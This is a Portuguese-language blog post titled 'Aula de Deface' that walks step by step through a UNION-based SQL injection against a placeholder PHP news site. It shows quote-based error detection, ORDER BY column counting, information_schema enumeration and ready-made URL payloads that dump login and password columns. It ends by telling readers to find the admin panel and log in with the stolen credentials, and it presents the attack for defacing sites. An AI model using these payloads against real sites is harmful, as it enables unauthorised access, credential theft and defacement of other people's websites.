publicidade
publicidade
publicidade
publicidade
publicidade
publicidade
publicidade

Aula de Deface


Primeiramente quero mostrar para vocês um site onde vocês poderam encontrar mais sobre novas vulnerabilidades, como se proteger de vulnerabilidades da web.

http://www.owasp.org/

Nessa aula estremos aprendendo SQLi, no entanto dessa vez estaremos consultado o database Mysql para obter informações de login e senha.

Aqui esta o site: www.site.com.br/noticias.php?id=10

Para descobrir se pode estar vulneravel, coloque ' depois do link, caso dei algum erro tem grande chance de estar vulneravel.

www.site.com.br/noticias.php?id=10' 

Um exemplo de erro: Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /home/site/public_html/noticias/index.php on line 282

Essa falha é baseada em erros.

Vamos pegar o numero de colunas usando ORDER BY *
É usado dessa maneira:

+order+by+1 //Sem erro
+order+by+2 //Sem erro
+order+by+3 //Sem erro
+order+by+4 //Sem erro
+order+by+5 //Sem erro
+order+by+6 //Erro

www.site.com.br/noticias.php?id=10+order+by+5

Então são apenas 5 colunas

Vamos uni-las, usando UNION ALL SELECT *

www.site.com.br/noticias.php?id=10+union+all+select+1,2,3,4,5

Coloque um traço (-) antes do valor da variavel ficando assim:

www.site.com.br/noticias.php?id=-10+union+all+select+1,2,3,4,5

Irão aparecer numeros, eles que nóis iremos subtituir por informações:

Precisamos encontrar a tabela do login agora, podemos usar Brute Force, ou então information_schema. O information_schema só funciona em databases MYSQL acima de versão acima de 5.0, para descobrir a versão use: version()

+union+all+select+1,version(),3

//--Brute Force--\\

Vamos tentar colocar tabelas até que não apareça erro:

UNION ALL SELECT * FROM ADMIN   == erro
""    ""    ""      ""  LOGIN   == erro
""    ""    ""      ""  USER    == erro
""    ""    ""      ""  USERS   == erro
""    ""    ""      ""  USUARIOS == sem erro

Então no caso ficaria assim: www.site.com.br/noticias.php?id=-10+union+all+select+1,2,3,4,5+from+usuarios
Você pode usar: admin, admins, usuarios, usuario, user, users, user_name, username, login, adm, tb_usuarios, tb_admin ... entre outros.

//--INFORMATION_SCHEMA--\\

DATABASE: INFORMATION_SCHEMA
TABELA: TABLES
COLUNA: TABLE_NAME

Sintaxe = Exemplo: UNION ALL SELECT 1,TABLE_NAME,3 FROM INFORMATION_SCHEMA.TABLES

Para ir passando de tabela você usa LIMIT *

LIMIT 1,1
LIMIT 2,1
LIMIT 3,1
LIMIT 4,1
LIMIT 5,1
... E assim vai indo até encontrar uma tabela de login.

Ex: www.site.com.br/noticias.php?id=-10+union+all+select+1,2,table_name,4,5+from+information_schema.tables+limit+1,1

//

Vamos agora descobrir as colunas de login, você pode usar as mesmas tecnicas de brute force e information_schema, no entanto information_schema é um pouco diferente:

DATABASE: INFORMATION_SCHEMA
TABELLA: COLUMNS
COLUNA: COLUMN_NAME

Sintaxe = Exemplo: UNION ALL SELECT 1,COLUMN_NAME,3 FROM INFORMATION_SCHEMA.COLUMNS

Para passar de coluna pode usar o LIMIT também.

//

Agora continuando suponhamos que eu tenha pegado a tabela USUARIOS e as colunas LOGIN e SENHA, para pegar as informações de login e senha é so digitar eles no seu site, nos numeros visiveis, suponhamos que tenha parecido o 2 e 3 então vamos substituir eles pela informação:

UNION ALL SELECT 1,LOGIN,SENHA,3,4,5 FROM USUARIOS

www.site.com.br/noticias.php?id=-10+union+all+select+1,login,senha,3,4,5+from+usuarios

Agora é só encontrar a area de login, geralmente fica em /admin , /adm/ , /administrator /login.php , ou você pode usar o acunetix ou algum outro tool para encontrar a area de login.
Ao encontra-la é só você se logar com as informações que você pegou

Creditos: Twi John
Deixe seu Comentário:
2 comentários
Categorias:
,

2 comentários:

Twi John disse...

Coloca os Creditos: Twi John

Unknown disse...

ta la e so cublinhar no final da postagem

Postar um comentário

ORA VIVA, OLHA TEU COMENTARIO VALE MAIS DO QUE OURO PARA MIM, PRECISO DELE PARA MELHORAR A DISPONIBILIDADE DO BLOG.